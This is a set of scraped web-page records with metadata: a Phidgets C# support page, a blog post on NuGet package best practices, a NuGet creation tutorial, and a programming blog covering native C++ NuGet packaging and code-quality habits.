"https://www.phidgets.com/images/Phidgets-Logo-White.svg",
"https://www.phidgets.com/docs/cc.png"
] |
[] |
[] |
[
""
] | null |
[
"Phidgets Support"
] |
2024-05-27T21:03:03+00:00
|
Communicate over USB with sensors, controllers and relays with Phidgets! Our C# library supports Windows/MacOS/Linux using Visual Studio or Mono.
|
en
|
/favicon.ico
|
Phidgets Support
|
https://www.phidgets.com/docs/Language_-_C_Sharp
|
We provide support for the C# language in all major operating systems. We also provide instructions on how to get your project started in a number of common development environments. Select your operating system and preferred development environment below, and follow the instructions to get your project running with Phidgets.
If you do not know which development environment you want to use, or your development environment of choice is not listed, we recommend starting with Mono as the simplest path to getting your code running. Visual Studio is the most popular way to build C# projects, but it also has a steep learning curve.
Once you have set up your development environment to run with Phidgets, we recommend you follow our guide on Phidget Programming Basics. The guide will showcase the fundamentals of programming with Phidgets, with examples in C#.
Setup Guide
Quick Downloads
If you already know what you're doing and just need the files, you can find them all below.
Documentation
Phidget22 API (Select C# from drop-down menu)
Example Code
C# Examples
Libraries
|
||||
8582
|
dbpedia
|
0
| 66
|
https://www.meziantou.net/ensuring-best-practices-for-nuget-packages.htm
|
en
|
Ensuring best practices for NuGet packages
|
[
"https://www.meziantou.net/assets/dotnet-validate-1.png?v=c4a8",
"https://www.meziantou.net/assets/nugetpackagevalidation-tool.png?v=ae34",
"https://www.meziantou.net/img/bmc.svg?v=0248",
"https://www.meziantou.net/assets/blog-image-1-th-w100-h100.jpg?v=aa10",
"https://www.meziantou.net/img/mvp.svg?v=8085",
"https://www.meziantou.net/img/bmc2.svg?v=d704"
] |
[] |
[] |
[
""
] | null |
[
"Gérald Barré"
] |
2022-10-03T12:00:00+00:00
|
In this post, I describe how to ensure your NuGet packages follow best practices before publishing them to a repository such as nuget.org
|
en
|
/favicon.ico?v=28cd
|
Meziantou's blog
|
https://www.meziantou.net/ensuring-best-practices-for-nuget-packages.htm
|
Creating a NuGet package is as easy as dotnet pack. But, you may not be aware of all the best practices that you should follow to ensure your package is as good as it can be. In this post, I describe how to ensure your NuGet packages follow best practices before publishing them to a repository such as nuget.org.
#Discoverability
You should make your package discoverable by adding the right metadata to your package. It will help users to find your packages from the search in NuGet.org or Visual Studio.
Choose a unique package id (doc)
If you plan to publish your package to nuget.org, choose a NuGet package id with a prefix that meets NuGet's prefix reservation criteria
If the package is not intended for public distribution, choose a package id that is not already taken on nuget.org
Include a short description, up to 4000 characters, to describe your package (doc)
Include several tags related to your package to help the search algorithm find your packages (doc)
Include an icon with your package (doc). The icon is displayed on nuget.org and in the NuGet Package Manager in Visual Studio.
If some users use an older version of NuGet, you can set icon and the deprecated iconUrl in your nuspec file to increase compatibility.
Include a README file (markdown format) that provides an overview of what your package does and how to get started (doc). This file is displayed on nuget.org.
Write a high-quality README for NuGet packages
Include a license file or a license expression (doc)
#Binaries
Most packages contain binary files (dll or exe).
Build the binary files using the Release configuration
For libraries, include the xml documentation files in the package
If you multi-target the library, make sure the same public types and methods are accessible through all compatible targets. For instance, a package that multi-targets for .NET 6 and .NET Standard 2.0 needs to ensure that code compiled against the .NET Standard 2.0 binary can run against the .NET 6 binary.
#Confidence
People want to be sure the package contains the advertised DLLs. If the project is open-source, you can check the source code, but how can you be sure the package is built with the sources you see?
For open-source projects, include the repository URL and the commit in the package metadata (doc)
Compile the package using deterministic builds, so people can reproduce the same binary from the source code. See enabling reproducible builds when building NuGet packages for more info.
If you want to go further, you can sign your package to prove the identity of the author
#Debuggability
Consumers should be able to debug the code of the package if something doesn't work as expected.
Include symbols (PDB) for your binaries
Use <DebugType>embedded</DebugType>, include the PDbs in the package, or use a symbol package (snupkg)
PDB should use the portable format to be compatible with all platforms. The file is also smaller than the Windows PDB format.
The SDK provides a tool to validate NuGet packages right after creating them. At the moment, it provides the following checks:
Validates that there are no breaking changes across versions
Validates that the package has the same set of public APIs for all the different runtime-specific implementations
Helps developers catch any applicability holes
To enable it, you can add the following property to your project file:
MSBuild project file
<Project> <PropertyGroup> <EnablePackageValidation>true</EnablePackageValidation> <!-- Optional: Detect breaking changes from a previous stable version --> <PackageValidationBaselineVersion>1.0.0</PackageValidationBaselineVersion> </PropertyGroup> </Project>
Another tool to validate a NuGet package is NuGet Package Explorer. The UI tool shows you the package content and validates the package symbols are ok. This works on local packages and published packages. A CLI tool also exists to validate packages. You can add this tool to your CI pipeline to validate the packages before publishing them.
Shell
dotnet tool update --global dotnet-validate --version 0.0.1-preview.304 dotnet validate package local "mypackage.1.0.0.nupkg"
I also made a tool to validate the content of a package. It validates package metadata and symbols. It reports errors on the console using a JSON format. Also, it returns a non-zero code when a package is not valid. The source code is available on GitHub.
Shell
dotnet tool update --global Meziantou.Framework.NuGetPackageValidation.Tool meziantou.validate-nuget-package "mypackage.1.0.0.nupkg"
#Additional resources
Package authoring best practices
Publishing a NuGet package using GitHub
|
||||
8582
|
dbpedia
|
0
| 89
|
https://reintech.io/blog/how-to-create-a-nuget-package-for-software-developers
|
en
|
How to Create a NuGet Package
|
https://reintech.io/rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdml6IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--d37594dad5c8e4105b62d816a7b0039aa7ced9e7/udegt545vlr14f510woqu2q4f3o9
|
https://reintech.io/rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdml6IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--d37594dad5c8e4105b62d816a7b0039aa7ced9e7/udegt545vlr14f510woqu2q4f3o9
|
[
"https://reintech.io/assets/media/logotype-1f401e7d307c0b33313fa0492eefe277e22c7792bbcbcfcf5ea80fa0c74527ec.svg",
"https://reintech.io/assets/media/burgermenu_icon-663fcc7777349bda49a287fe585bc58b8ffdc83fcd4798983e5190fe64895a35.png",
"https://img.reintech.io/variants/wyzw990jkijlbl6i97cjpb4defz0/e7b4ce09c703210ab8f75b017c7eaf0951c5a95b737ee8120602845c1c1d944b",
"https://secure.food9wave.com/218872.png",
"https://reintech.io/assets/media/logo_footer-11f826977160fbe430f0dc0516912582bb93bf2fe55252eac336ba13b0aa36ef.svg",
"https://reintech.io/assets/media/logo_footer-11f826977160fbe430f0dc0516912582bb93bf2fe55252eac336ba13b0aa36ef.svg"
] |
[] |
[] |
[
".NET",
"NuGet",
"package creation",
"software development",
"Visual Studio",
"command line"
] | null |
[
"Arthur C. Codex"
] |
2023-03-16T17:43:08.469000+00:00
|
Learn how to create and publish a NuGet package with this comprehensive tutorial. We guide you through the entire process, from setting up the project to publishing the package.
|
en
|
https://reintech.io/blog/how-to-create-a-nuget-package-for-software-developers
|
In this tutorial, we will guide you through creating a NuGet package. NuGet is a popular Microsoft-developed package manager for the .NET platform. It is essential for .NET developers, including those you may wish to hire .NET remote developers.
1. Setting up the Project
Firstly, we must create a new .NET Standard Class Library Project. You can do this in Visual Studio, or via the command line:
dotnet new classlib -n MyNuGetPackage
2. Creating the Package Contents
Next, create your classes, interfaces, etc. These will be the contents of your NuGet package. For instance:
public class MyService { public void DoSomething() { Console.WriteLine("Hello, NuGet!"); } }
3. Updating the .csproj File
Now, update the .csproj file with the necessary package metadata.
<Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <TargetFramework>netstandard2.0</TargetFramework> <PackageId>MyNuGetPackage</PackageId> <Version>1.0.0</Version> <Authors>Your Name</Authors> <Company>Your Company</Company> </PropertyGroup> </Project>
4. Generating the NuGet Package
Next, we generate the .nupkg file. This can be done via Visual Studio or the command line:
dotnet pack --configuration Release
The .nupkg file can be uploaded to nuget.org or your private NuGet feed.
5. Publishing the NuGet Package
To publish your newly created package to NuGet, use the following command:
dotnet nuget push bin/Release/MyNuGetPackage.1.0.0.nupkg --source https://api.nuget.org/v3/index.json --api-key YOUR_API_KEY
Remember to replace 'YOUR_API_KEY' with your actual NuGet.org API key.
|
||||
8582
|
dbpedia
|
3
| 33
|
https://digitalhouseblog.wordpress.com/
|
en
|
Yet Another Programming Blog
|
[
"https://s2.wp.com/wp-content/themes/pub/lovecraft/images/header.jpg",
"https://digitalhouseblog.wordpress.com/wp-content/uploads/2020/07/tread.png?w=271",
"https://literaryninja.files.wordpress.com/2012/06/181867_409409375777594_1276287083_n.jpg",
"https://digitalhouseblog.wordpress.com/wp-content/uploads/2014/04/layer_creation_time_chart1.jpg?w=1024",
"https://digitalhouseblog.wordpress.com/wp-content/uploads/2014/04/layertoolbar.png?w=376",
"https://0.gravatar.com/avatar/0c0236f314f8f081d0ebc670f373d5986f5d3fcb0f7164cd53bca5e981be706d?s=48&d=identicon&r=G",
"https://0.gravatar.com/avatar/0c0236f314f8f081d0ebc670f373d5986f5d3fcb0f7164cd53bca5e981be706d?s=48&d=identicon&r=G",
"https://0.gravatar.com/avatar/f719e34ebd5436b64a7edd23731780d0ed47d2f4cc78a9e3f05dff856ee576bb?s=48&d=identicon&r=G",
"https://0.gravatar.com/avatar/f719e34ebd5436b64a7edd23731780d0ed47d2f4cc78a9e3f05dff856ee576bb?s=48&d=identicon&r=G",
"https://2.gravatar.com/avatar/55a74306bf669b0929937460754198df58de506e8ed7782200cd99480741342e?s=48&d=identicon&r=G",
"https://0.gravatar.com/avatar/0c0236f314f8f081d0ebc670f373d5986f5d3fcb0f7164cd53bca5e981be706d?s=48&d=identicon&r=G",
"https://0.gravatar.com/avatar/0c0236f314f8f081d0ebc670f373d5986f5d3fcb0f7164cd53bca5e981be706d?s=48&d=identicon&r=G",
"https://0.gravatar.com/avatar/f719e34ebd5436b64a7edd23731780d0ed47d2f4cc78a9e3f05dff856ee576bb?s=48&d=identicon&r=G",
"https://0.gravatar.com/avatar/f719e34ebd5436b64a7edd23731780d0ed47d2f4cc78a9e3f05dff856ee576bb?s=48&d=identicon&r=G",
"https://2.gravatar.com/avatar/55a74306bf669b0929937460754198df58de506e8ed7782200cd99480741342e?s=48&d=identicon&r=G",
"https://s2.wp.com/i/logo/wpcom-gray-white.png",
"https://s2.wp.com/i/logo/wpcom-gray-white.png",
"https://pixel.wp.com/b.gif?v=noscript"
] |
[] |
[] |
[
""
] | null |
[] |
2024-01-29T15:52:23+00:00
|
Thoughts on software development
|
en
|
https://s1.wp.com/i/favicon.ico
|
Yet Another Programming Blog
|
https://digitalhouseblog.wordpress.com/
|
During my days at Autodesk years ago, when I worked on 3ds max, there was a big problem with disorganized code.
The product was and is composed of several hundred (over 600?) DLL’s or dynamic link libraries. All these were built by the compiler and exposed eventually as some feature in the product. Now the product has an extensive SDK, with names for the C++ classes and types etc. Many top level features were considered plugins to the product, and had a name for the feature, another set of names for the C++ classes that implemented them, and another name for the folders that they sat in, and another name for the visual studio project name that built them. This was very disorganized.
One day, I was given the task by the engineering manager to go and take a particular feature, and put it into the “public” sdk. Ok! I knew what feature that was, and went about finding it, and attempting to move it.
The first task was to find the feature. No one knew where it was. That is usually the case in a program as large as 3dsmax. I certainly did not know where it was, and no one working there at the time knew where it was. In fact no one working there at the time even had worked on the particular feature. The person who wrote it was long gone.
Anyways, I’m drifting off the subject. I had to go find the feature? Where was it? All I had to start with was that the feature was called the “Asset Browser”. In order to find anything for that, I would have to do a full text search throughout the entire code base using visual studio. So I did a search and found dozens of hits in resource language files. I chose one file, examined it’s folder, dug closer and found something that looked like it was it.
So I moved it, fixed up the compiler and linker paths and tried to compile:
“Errors”
That’s all I got. What!?
This is working code I thought! What happened? Distrusting myself more than anything I fought with getting the code to compile for about a day and a half, to two days. Nothing worked. I attempted to fix compiler error after compiler error, and still the list of failures was endless.
Finally I came full circle back to where I had started. Why was this code sitting in the codebase and had not ever compiled properly? I dug through the byzantine build system and found that indeed the project I had moved had never been a part of the official build. Oh wow!! If that was the case, then that left the question what had I found?? Had I found some abandoned code? If that was the case, where was the real feature I was supposed to move?
So I did a full text search again, and got the usual flood of results. Therefore I dug through the rest of the list and found another visual studio project that did have a resource file with an English language resource file with the text I was looking for. It was in a different location than the one I had found earlier. Therefore I tried moving that bit of code, and found that it worked perfectly.
Which lead me to the realization that there was two projects for the same feature, one abandoned and other one working. The codebase was so big and disorganized that this bit of abandoned code had sat there for 20 years and no one knew about it. And the code base was so big and disorganized that no one knew where things were. Oh there were bits of code in the core of the product, in the core, that people actively worked on. People knew what was in those. But the rest of the code, no one had touched in years.
The leading factor to this hunt for the right code was the disorganized state of the code. A feature was called W, the folder it sat in was called X, the visual studio project file it sat in was called Y, and the C++ classes were called Z. No wonder no one could find anything.
Later on, I worked on a project in about 2012 or 2013, where I led an effort to fix problems like that. In the end, I led another colleague in work to remove abandoned code. Code that was not part of the build, and did not ship to anyone nor participate in anything. In the end we eliminated over 10,000 code files.
Folks, keep your code clean and well organized, and life will be good for future developers tasked with maintaining your code.
Making a nuget package for managed code is really straightforward, since it is so extensively documented on Microsoft’s various websites.
But if you want to make a nuget package that contains native code like libraries (*.lib), headers (*.h) you are almost out of luck! Microsoft will give you about 3 minuscule paragraphs full of cryptic junk for documentation!
https://docs.microsoft.com/en-us/nuget/guides/native-packages
The first key to understand how to put C++ stuff into a nuget package is to understand that a nuget package (*.nupkg) is really just a zip file that has been renamed. Therefore you should just be able to stick anything in there that you like.
The second key is that we will just be using Nuget to download and unzip the nuget package for us. After that we are on our own.
The third key is that none of the Visual Studio versions will offer any aid at all in hooking up the nuget package to the project that needs it. It is up to you to break open your text editor and modify your visual studio project files (*.vcxproj etc.).
Steps
Here is a high-level summary of what needs to be done, and will be explained in detail:
Gather or stage your native library files into a folder of your choosing.
Create a *.nuspec file in that folder.
Edit the *.nuspec file to include the files you want to include in your package.
Create a *.props file
Call nuget pack to create the package.
Push the nuget package to a feed somewhere.
Create a packages.config file.
Edit the visual studio project file to point to where the restored nuget package is.
NOTE: In this document I will be using the Google Filament renderer library as my demonstration example, since I had to do that here at work recently.
Stage the native files
This should be easy, copy all the files you need for your native library to a a convenient folder. For example:
bin/*
docs/*
include/*
lib/*
README.md
Create the *.nuspec file
I like to put this *.nuspec file inside of the directory that has the code I’m packaging up. That makes it easier and simplifies the paths we will put inside the *.nuspec file. For my example, mine is filament.nuspec:
bin/*
docs/*
include/*
lib/*
README.md
filament.nuspec
Edit the *.nuspec file
A nuspec files is an xml file and hence must follow the syntax requirements as documented on microsoft’s website:
https://docs.microsoft.com/en-us/nuget/reference/nuspec
I chose to have the package contents follow the same layout as how Google gives them to me. Thus my nuspec package looks like this:
<?xml version="1.0"?> <package > <metadata> <id>Google.Filament</id> <version>2019.08.08</version> <description>Google Filament Renderer</description> <tags>Native, native</tags> </metadata> <files> <file src="lib\**\*.*" target="native\lib" /> <file src="include\**\*.*" target="native\include" /> <file src="docs\*" target="native\docs" /> <file src="bin\*" target="native\bin" /> <file src="README.md" target="native" /> <file src="filament.props" target="native" /> </files> </package>
The most important part here is the <tags> element that contains the text ‘native’. To be doubly sure I got it right, I added it twice, the first time with a capital ‘N’. This is useful when the package is hosted in nuget.org, you can do a search for native packages by using the search term: tag:native
Each <file> xml element has two attributes: a ‘src’ attribute and a ‘target’ attribute. Source is where it gets it’s files from, and Target is where the files will be placed when the nuget package is restored or unzipped. What you specify here is completely up to you. As you can see in my example above, I have also created a filament.props file. I will be using this later to make it simpler for any project to consume this nuget package.
Also I added a root folder called ‘native’. It worked with it, I haven’t tested it without a root folder. But you can give this root folder any arbitrary name you want.
Create a filament.props file
This will aid us later on in consuming the nuget package from another C++ project. Here we will create an MSBuild file (NOT a .vcxproj file) that will describe where the include files and library files are. This step requires a good understanding of the MSBuild xml syntax and especially a good knowledge of C++ project file (i.e. *.vcxproj) syntax. If you don’t know that, just copy and paste my code here:
<?xml version="1.0" encoding="utf-8"?> <Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003" ToolsVersion="15.0"> <PropertyGroup> <LibraryType Condition="'$(Configuration)'=='Debug'">mdd</LibraryType> <LibraryType Condition="'$(Configuration)'=='Release'">md</LibraryType> </PropertyGroup> <ItemGroup> <FilamentLibs Include="$(MSBuildThisFileDirectory)\lib\x86_64\$(LibraryType)\*.lib" /> </ItemGroup> <PropertyGroup> <!-- Expland the items to a property --> <FilamentLibraries>@(FilamentLibs)</FilamentLibraries> </PropertyGroup> <ItemDefinitionGroup> <ClCompile> <AdditionalIncludeDirectories>$(MSBuildThisFileDirectory)\include</AdditionalIncludeDirectories> </ClCompile> <Link> <AdditionalDependencies>$(FilamentLibraries);%(AdditionalDependencies) </AdditionalDependencies> </Link> </ItemDefinitionGroup> </Project>
This specifies all the library files using a wildcard pattern (*.lib) and it points to where the include directory is too. It uses the special reserved msbuild property $(MSBuildThisFileDirectory) which helps anchor the paths that are being used inside of this file.
Call Nuget Pack
Now comes the fun part, to create the nuget package. I run a simple batch script like this:
NuGet.exe pack filament.nuspec -OutputDirectory builds\nuget\x86_64
Thereupon I can look in my builds\nuget\x86_64 directory and see a nuget package named Google.Filament.2019.8.8.nupkg
Call Nuget Push
Now that the package is created, it’s time to push it up to a nuget feed. Which nuget feed you push up to is up to you, and is none of my business. But nuget.org is the defacto source. But if you have a private feed you use for your company that works too. I run a simple batch script like this:
NuGet.exe push builds\nuget\x86_64\*.nupkg -Source https://<some nuget url> -Apikey <some api key>
Create a packages.config file
This part is super easy. Create a packages.config file in the same directory as the visual studio project file (*.vcxproj) that will be consuming the nuget package.
Place the following xml snippet into the file:
<?xml version="1.0" encoding="utf-8"?> <packages> <package id="Google.Filament" version="2019.8.8" /> </packages>
Notice how the version matches what was put inside the *.nuspec file.
Edit the visual studio project file
This step involves a text editor (I prefer Notepad++ or Visual Studio Code). This step is also markedly different from what we would use if we were using visual studio to find a managed .net nuget package for a managed .net project.
But since this is a native project, we don’t get the big boy tools, and have to settle for the hand-me-downs from Microsoft.
First we will open the *.vcxproj file that will be consuming this project, and will simply add the following line of xml code at the end of the file:
<Import Project="<Your package directory>\Google.Filament.2019.8.8\native\filament.props" />
Where your packages go, is up to you when you do a nuget restore. So where-ever that is, you will have to change the snippet <Your package directory> to point to where-ever it was that nuget unpacked the files. This can be a relative or an absolute path, so it’s up to you. But in the end, msbuild needs to be able to find that *.props file, otherwise it won’t load in visual studio.
Summary
And that is it. The package is done, and you should be able to do a nuget restore and build your native project. Many of the steps were the same as creating a managed .NET nuget package. With the exception of the manual editing of the native project files.
If you are looking for more examples of nuget packages holding native projects, do a search on nuget.org, and find a project. Browse to the page for the nuget package and find the link to the ‘project’ code page for it. Usually on github.com. Click on the link to open the project in Github and then hunt around for a *.nuspec file.
There are usually a set of things that a software shop does to ensure high quality software. No matter whether it is a web, desktop or mobile. The principles are the same.
Years ago, someone else wrote a similar set of rules.
http://www.joelonsoftware.com/articles/fog0000000043.html
This article was very influential to me when I first read it. However….
It is more focused on the high level issues that affect the company as a whole, not rules for good code. For instance, one rule is do you use source control? In this day, every software shop should and probably does. Maybe they didn’t 13 years ago? I know of plenty software projects, or products that use source control and still have bad code. So that’s not a real test of how good the code is. For the actual coders writing the software, some of the items in Joel’s excellent blog do not really affect them on a daily basis. Programmers live in their own little bubble, and live under a set of realities that effects them only. That is what I’m going to write about here.
Do you compile at the highest warning level possible?
Do you check for memory leaks?
Do you have overly large functions?
Do you have overly large code files?
Do you test with debug builds?
Do you have regression tests?
Do you measure code coverage?
Do you stop everything when tests fail?
Do you do code reviews?
Do you use a real build system?
Do you compile at the highest warning level possible?
This can be interpreted to mean different things for different types of languages. For instance, a web shop developing in javascript, css and ruby will not have compiler warnings. While ruby doesn’t have compiler warnings, there are linters available, or other static analysis tools to help supplement enforcing the rules of the language. But a product written in C, C++, C# or Java will have to live in the land of warnings every minute of every day.
Compiling code and witnessing a long list of warnings spew out is a special kind of demoralization. It’s even worse when these build warnings go unfixed for months or years. The latter state means one thing: Management or the leader of the developers don’t care that the product has subtle problems. In fact it means that nobody cares. Or it could be that someone cares, but feels that they are actively discouraged from doing so by peers or management – which is the worst state of all.
What I really don’t get, is how a developer could let a warning get into the build in the first place. I mean how could a developer NOT look at build output? It leads one to ask, if they aren’t looking at the build output, are there other things they are also not looking at? They have to know if the build succeeded or not right? They obviously are not blind, but it does indicate something is lacking: Either some competence or a desire. Either one is programmer malpractice.
The end result is that there will be very subtle bugs in the software that manifest themselves in very costly ways in the long term. There could be a problem that a customer support person spends 4 hours with a customer resolving. That then gets logged to a developer who spends a day trying to figure out what went wrong. That then gets fixed and distributed to customers 9 months later. Meanwhile everyone loses: The customer from lost productivity, the software shop from labor working on what could have been discovered in a few seconds by a compiler warning. Imagine the cost for such failures to act properly?
Now most modern compilers or linters have a range of options. These options range from the basic, to the important, all the way to the absurd. So not all compiler/linter warnings are created equal. When you start getting warnings that border on absurd, then you can create one (not many) list of exceptions to those warnings, or a list of warnings that are turned off. This list should be in one place, checked into source control, and contain clearly worded, and strong reasons those warnings are turned off. This list should never be large. And one person alone without code review should never be allowed to change it unilaterally.
The compiler (For languages where it applies) is the first line of defense against bugs. Software shops who refuse to use it to its fullest potential are putting out sub-standard products.
Do you check for memory leaks?
Failing to correct (or even care) about memory leaks is a certain kind of wrong. Memory leaks are like lung cancer. Slowly suffocating it’s victim. Memory leaks slowly and insidiously suffocate an application of its memory. Applications live on memory, and when memory goes, so does the application. And customers aren’t happy when their application dies. It’s even worse when it dies and takes all their data with it.
This fundamentally begins with the programmer who writes the feature. They are the ones who originally wrote the code that allocated the memory. They should have immediately considered where the memory would be deallocated, and who would own the memory in the meantime. And second the original programmer should have tested their code.
There are tools out there to help identify memory leaks, and they should be used if they exist. Failure to verify memory leaks exist is just plain sloppy.
Do you have overly large functions?
These are functions that are more than two screens in length. Which seems to be the unwritten standard in this industry today. It wasn’t always an accepted standard however. Ruby developers seem to go by the rule that functions should never be larger than 5-10 lines of code which is even better. Large functions quickly turn a program into an unreadable mess that makes it extremely difficult, or almost impossible, for another human to decipher. The problem here is that such functions cannot be easily refactored without the real possibility of introducing bugs. I have personally seen functions that were thousands and thousands of lines long. The cyclomatic complexity of such a function shoots through the stratosphere, and any modification of such can have real possibilities of adverse, unintended side effects. Such a function was essentially abandoned code and was a dumping ground for code changes that no one cared about.
Do you have overly large code files?
Large functions lay the foundation for large code files. These are files that contain 10,000 to 25,000 lines of code. Files that contain hundreds of functions and dozens of class definitions. Code files that try to be a God to everything. These files cannot be easily read nor browsed through. They remain a black box to all but the author.
Now, there are tools to help browse through large code files. Tools to help list the structure of the application. But when code gets so big that you need a browsing tool for the browsing tool, then you definitely have a problem. When this happens, discoverability nosedives and mindshare in the product evaporates. At that point programmers stop reading the code and start searching it. And when programmers start searching the code, they are not really understanding it. They are in essence looking at a painting through a microscope, and not standing back and looking at the big picture.
Another really bad side effect is the risk of duplicate code. A huge haystack may be hiding the needle you are searching for, but not finding it, you create another needle. This in a profession where needlessly reinventing the needle is a cardinal sin.
Case in point: I once come across someone modifying a rather small class: about 40 lines of code worth (at most). I looked around and saw that we had a few other classes with the same name, and informed them about it during a code review. It turns out there were about 10 to 20 different copies of that class floating around the code base. Apparently different programmers over the years used that class a lot. Ok, that’s a good thing. But instead of simply including a header file and linking against a library, they copied the class into their code. So I pushed back in the code review and asked them to remove the duplicate code. All this because the code base was so large, no one knew where anything was, and whether a particular problem had been solved already.
Do you test with debug builds?
This really applies only to C and C++ based code. Sorry all you script people out there. Your language has evolved past this little sharp edge of history. C and C++ base languages have, by convention, classified building a product into two different states: A release build and a debug build. A release build is what you ship to your customer. It is compiled for speed with little to no error checking built in. A debug build is slower, it is not shipped to the customer and has lots of error checking.
Software should be tested to be correct first, and then tested for speed and performance second. A good software quality assurance division of a company will understand that and not require testing only on release builds.
The reason for this is, that in the world of C and C++ based languages. A ‘debug’ build will have certain extra safety checks built into the product that help identify problems before they escalate into major disasters. Such code has assertions, poison memory patterns, bounds checking, extra type checking etc… These things make code much safer and more enjoyable for the customer. A ‘release’ build on the other hand, simply compiles all those nice safety nets away and instead plops the code right in the middle of a speedway, with no safety guards what-so-ever. Likewise testing only on release builds is like training a child to ride a bike in the middle of a busy road. With no safety precautions, something is going to be break, and it will be difficult to decipher post-mortem what happened.
Do you have regression tests?
A set of regression is the second layer of defense to prevent bugs. These tests must be run by developers as they write. Not just afterwards. Tests at the very least must be run before code is merge or submitted to the repository. Otherwise the tests serve no purpose. Otherwise imagine the havok if code is submitted on a daily basis that breaks things left and right. And no one would know. Once it is discovered the tests are broken and that a feature is broken, it’s usually much later in the development process. By that time a programmer may have moved one to work on something else. To fix it could be time consuming, not to mention costly. So the entire software development process becomes less efficient.
But the ultimate havoc wreaked by not having regression tests is that bugs get through to customers. And customers get annoyed and buy someone else’s software.
Do you measure Code Coverage?
Testing it great. But you also have to know when to stop too. Most programming languages, except the new ones, have tools for measuring code coverage. They should be used. In fact one company I know of, runs tests in a continuous integrations server. The coverage of the product is recorded, and on test results with coverage less than 95%, the commit is rejected. Way to go!!
Interestingly enough, figuring out code coverage is good insurance for when a programmer leaves. The programmer may leave, but tests, guaranteed by high code coverage, ensure the code can be maintained by someone else. So when the new guy or girl comes in, and starts maintaining the code, they can be reasonably sure that their code changes won’t break the world.
Code coverage also helps to ensure the quality of the code. When code is examined in the cold truth of coverage you start to discover a few things. You can discover unused parameters, or branches of code that never get executed. You may also discover expensive, slow code that perhaps you didn’t need to call, because it’s results weren’t needed. The good reasons can go on and on, and will vary. You can will also discover bugs, lots of them. I have never ran code through code coverage and not discovered a bug. It is simple as this: untested code is buggy code.
Do you stop everything when tests fail?
This should be a no brainer: Of course all development should stop if a regression test fails. All hands should be called on deck when the tests fail. Everyone should know not to sync code submitted during a particular time period. Everyone should know not to build upon similarly infected bad code. Everyone should also feel responsibility to look, hunt and search for and fix the problem. In such a situation, everyone should pretty much be guaranteed a clean working environment where they can trust that the code they are basing new features on is stable, solid and bug free.
But if the culture says that regression tests are ignored and swept under the rug. Then no one can be sure of anything about the product. What if the test failure count keeps creeping upwards and no one is held accountable? Then the product as a whole gains technical debt. Someone traded a short term gain that will not last, but incurs debt that grows over time. There is no debt so small that over time cannot grow into something huge. The entire farce can eventually grow into a farce where certain groups refuse to run the regression tests: because they are broken. But then refuse to help fix them in the first place. Such downwards spiral always result in the same thing: A spectacular collapse that offends some customers really badly.
Do you do code reviews?
No developer is immune from writing bugs into their code. Especially those who are unfamiliar with the software, language or platform. It can many years to master each of those 3 areas. In the meanwhile, code submitted by someone who has not mastered those areas should be reviewed by other people.
But this rule should not be applied with no regard for the circumstances. Code Reviews slow down development speed a lot. As in drastically. Ever had a code review languish for weeks at a time? I have, and it’s not fun. Productivity nosedives, moral plummets and old bugs languish. So, if a startup company absolutely required code reviews for everything, they would probably not actually ship a product… at all. Well before going bankrupt and running out of investor money.
So, here are a few common sense solutions to the problem:
Code reviews are optional for those who originally wrote the code. Those who wrote the code are always more informed about what and how the code works than anyone else. Any changes made by them to code they themselves wrote should be optional.
Conversely, modifying any code you yourself didn’t write should always require a code review. Especially if the person who wrote the code is still available.
Have an expiration date. Any code review not reviewed in a certain amount of time expires and the developer is free to submit the code.
Require unit tests and regression tests instead of code reviews. This works especially well for those who originally wrote the code in the first place.
Requiring a code review of all code is an ideal that should be sought after. But remember, customers buy your software, not your code reviews. Until there is first shipping software, no amount of code reviews will pay the bills. So, until then, don’t sacrifice the new startup for a feature that customers don’t buy.
Do you use a real build system?
A slow or inefficient build is a tax that costs real time and real money. A build is the process of converting the source code into something else which you send to your customer. Applications being written by programmers are also built by programmers. And usually built using custom code that is slow and very inefficient. It doesn’t have to be this way. I once worked at a company that used an archaic build system that took 45 minutes to compile and link. I fixed it up so that it took 1 ½ minutes. Another product I once saw had no build system at all. But rather a collection of bash scripts that did a few things in a certain order: No matter if they were required or not. Such a build system was actually fast compared to building 8 million lines of C/C++ code. But still it did only one thing: Build the product with little to no configurability.
Each programming language and environment has its own build system. C has the antique make system (good riddance). C++ has none really unless you are using Microsoft’s Visual studio and MSBuild. Java has Maven. Ruby has rake. These tools should be used instead of re-inventing the wheel by writing custom scripts for your build. Once a build system is written properly, then it can executed differently according to the needs of the user.
A full clean build can be executed and be guaranteed to work due to no preconditions polluting the source code.
An incremental build can be executed based off of localized changes. These builds don’t start from scratch but rather build only what is needed based off of the actual changes.
A clean build is simply to delete everything that a build creates, and return the source code back to the state it was in when it was first retrieved from the source code repository.
If a build cannot do this, then it is in the stone ages and not helping anyone nor anything.
While I was at Autodesk years ago we went through various build systems. When I first started the build was written in Perl. Dependencies were specified using a .csv file. I had no idea how it worked, nor did I care how it worked since I was interested in other things during those years. The build could routinely take an hour and 45 minutes, and was mind-numbingly boring since we usually had to do it everyday. And if you were unlucky multiple times per day. Even worse In fact on the build servers the build would routinely take almost 4 hours!
What a horrible tax.
Later on, a hot-shot programmer came along and rewrote the build system to use ruby and rake. It was supposed to be faster, which it kind of was. But the complexity was just as bad, and no one knew ruby nor how rake worked. Then the developer left the company, leaving behind a black box. So that silo of information was gone, and no one knew how the build system worked. It took 2 developers about a year and a half or so to learn the build system well. To really be able to work on it at the level the original developer had done.
To be sure there were problems with the build. It still took a long time to build the product. Somewhere near an hour. About the only thing we did gain was the ability to do incremental builds.
But modifying the build was the main problem. The build, written in ruby, completely reinvented the wheel on so many different areas. To understand this better, you have to understand that the product at the time was built using Microsoft tools because it was based solely on the Microsoft platform. Thus the source project files were in a build language that Microsoft created. That build language was built into visual studio and was called MSBuild. Instead of using Microsoft tools to create the build, ruby and rake were used instead. Instead of using Microsoft tools to parse the xml project files, a ruby gem was used. Instead of using anything from Microsoft to help with the build, everything was re-invented from scratch. Parsing visual studio .vcproj (and eventually .vcxproj) files was done tediously and laboriously and mind numbingly using rake and some xml gem. Talk about recreating the wheel! For instance, lots and lots of code was written to duplicate a simple function Microsoft already offered. Though a Microsoft API call that retrieved a fully instantiated object with full properties all intact.
